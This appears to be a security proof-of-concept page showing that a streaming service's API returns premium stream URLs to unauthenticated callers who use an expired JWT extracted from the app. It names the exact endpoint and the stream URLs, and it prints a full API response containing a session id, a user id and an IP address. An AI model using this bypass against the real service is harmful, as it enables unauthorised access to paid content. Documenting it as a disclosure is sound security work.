SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
The API returned
playingUrl for The Blacklist 1
with issubscriber: false and user_access: deny.The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
The Blacklist 1
A new FBI profiler, Elizabeth Keen, has her entire life uprooted when a mysterious criminal, Raymond Reddington, who has eluded capture for decades, turns himself in and insists on speaking only to her.
API Response Evidence — Vulnerability Proof
Endpoint called
GET /api/preview/v2/3797/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
61
video_name
THE BLACKLIST S01 E01-JR.mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN demo stream
https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).
{
"id": 3797,
"video_title": "The Blacklist 1",
"description": " A new FBI profiler, Elizabeth Keen, has her entire life uprooted when a mysterious criminal, Raymond Reddington, who has eluded capture for decades, turns himself in and insists on speaking only to her.",
"video_name": "THE BLACKLIST S01 E01-JR.mp4",
"filehistory": "",
"openload": "0",
"embedurl": "No",
"serverhost": "61",
"allow_openload": "0",
"full_video_name": "",
"duration": "43h 03m",
"thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/7d3f.jpg",
"tfilehistory": " ~ 350923719862.jpg ~ ",
"category_id": 5,
"language_id": 1,
"recording_date": "2014-05-15",
"age_id": "13 +",
"location": 1,
"tab_category_id": 5,
"series_code": "49771",
"access": "1",
"paid_for": "1",
"new_movie": "0",
"priority": "No",
"size": "615.95 MB",
"create_date": "2018-10-16 11:49:35",
"schedule_date": null,
"user_id": 1118356,
"vj_id": 1,
"video_status_id": 1,
"network_id": "154.227.131.200",
"user_access": "",
"notification": "No",
"secduration": "154980.000000",
"issubscriber": false,
"genre": "Series",
"vjname": "Vj Junior",
"trailer_playing_url": "",
"episodes": 21,
"episode_state": "NEXT",
"nxt_eps": "EPS 2",
"nxt_eps_id": 3799,
"nxt_eps_title": "The Blacklist 2",
"nxt_ldur": 0,
"nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
"playingUrl": "https://munowatch.co/clips/ELI.mp4",
"ldur": 0,
"session_id": "cb99afb5b31411a57538a97393de0e2e",
"device": "web",
"lang_name": "English to Luganda",
"vjrelease": "8 years ago",
"mstatus": false,
"kstatus": "",
"substatus": "EXPIRED"
}